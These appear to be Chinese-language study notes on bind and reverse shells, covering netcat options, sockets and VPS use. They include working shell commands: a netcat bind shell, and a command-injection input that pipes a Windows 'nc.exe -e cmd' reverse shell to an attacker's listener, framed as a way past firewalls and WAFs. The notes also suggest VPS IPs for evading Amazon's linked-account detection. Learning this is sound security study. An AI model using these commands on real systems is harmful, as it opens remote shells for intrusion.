-
什么是反弹shell
- 正向连接
- 正向连接(Forward Connection):正向连接是一种常见的网络通信模式,其中客户端主动发起连接到服务器或目标系统。正向连接通常用于客户端-服务器通信,客户端主动请求服务或资源,例如网页浏览、电子邮件发送和接收等。在正向连接中,客户端充当主动方,向服务器发起连接请求,然后服务器接受并处理请求。
- 正向shell :这个就是比如我们(A)要连接B,这时候我们需要连接B的IP正向一般是指客户端主动连服务器
- nc(netcat)nc命令是netcat的简称,是一个通用的网络工具,被广泛应用于网络调试、数据传输等方面。它能够代替telnet、rlogin等等功能,成为网络工程师和系统管理员的得力助手。
- -l:监听模式,用于创建服务器端
- -p <port>:指定源端口
- -s <address>:指定源IP地址
- -w <timeout>:设置超时时间
- -u:使用UDP协议
- -v:显示详细信息
- -z:只扫描,不发送数据
- nc的应用场景
- 3.1 网络调试
- 在进行网络调试时,nc命令可以帮助我们检测目标主机是否可达,快速测试端口是否开放,验证网络服务是否正常等。
-
3.2 文件传输
- 通过nc命令,我们可以在网络中快速传输文件。它可以在客户端和服务器之间建立连接,然后将文件从一端发送到另一端。
- 3.3 端口扫描
- nc命令的一个常见应用就是进行端口扫描。可以通过指定不同的端口号和IP地址来扫描目标主机上开放的端口。
- 3.4 网络代理
- 通过nc命令,我们可以创建一个简单的网络代理,将请求从一个端口转发到另一个端口,实现代理转发功能。
- 3.5 监听网络数据
- 使用nc命令可以在某个端口上监听网络数据,并将收到的网络数据输出到终端,用于调试网络通信或分析数据
- 正向shell 连接
- nc -lvp 8080 -e /bin/bash
- nc 192.168.11.11 8080
- 反向连接
- 就是被攻击者主动连接我们(攻击者)
- 反弹SHEll
- 就是我们b先监听端口等待连接(然后这个时候如果有机器主动连接那我们就能与其建立连接),然后再在服务器上执行恶意代码,让服务器主动连接我们,这样就能建立一个远程的信道。(这个主要用于绕过防火墙,NET、动态ip问题)
- 什么是Socket
- 在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据
- socket起源于Unix,而Unix/Linux基本哲学之一就是“一切皆文件”,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作。
- 我的理解就是Socket就是该模式的一个实现:即socket是一种特殊的文件,一些socket函数就是对其进行的操作(读/写IO、打开、关闭)。
- Socket()函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。
-
什么是VPS
- VPS就是Virtual Private Server,又叫虚似专用服务器。它就相当于是一种技术,可以将一部服务器分割成多个虚似专享服务器。这种技术可以为大家提供优质服务,每一个VPS都可以分派独立公网IP地址、独立操作系统、独立超大空间、独立运行内存、独立CPU资源、独立执行程序和独立系统配置等,可以从根本上防止关联。
- 由于亚马逊官方要求,每个人在亚马逊上市只能申请注册一个商家账号,并且需要独立的IP登录,一旦被亚马逊的程序优化算法认为某几个账户都由一个人来操作,那么这几个账号就会被亚马逊认定为互相关联而封号。因此,一个好的VPS在开店过程中是非常重要的。
- 实例内网连接问题
- 正反向连接的实例
- 正方连接 下边这是个服务器
- 这个能实现的前提就是双方没开WAF
- 反向连接
- 实例
- nc(nc是win执行linux的一个命令程序)的下载(这其实也是一个绕过WAF的一个手段,shell反弹)
- 这样我们就可以执行命令了 :如 8.8.8.8 | C:\nc.exe -e cmd 192.168.21.3 50000
- 然后本机: nc -lvvp 50000
- 查询外带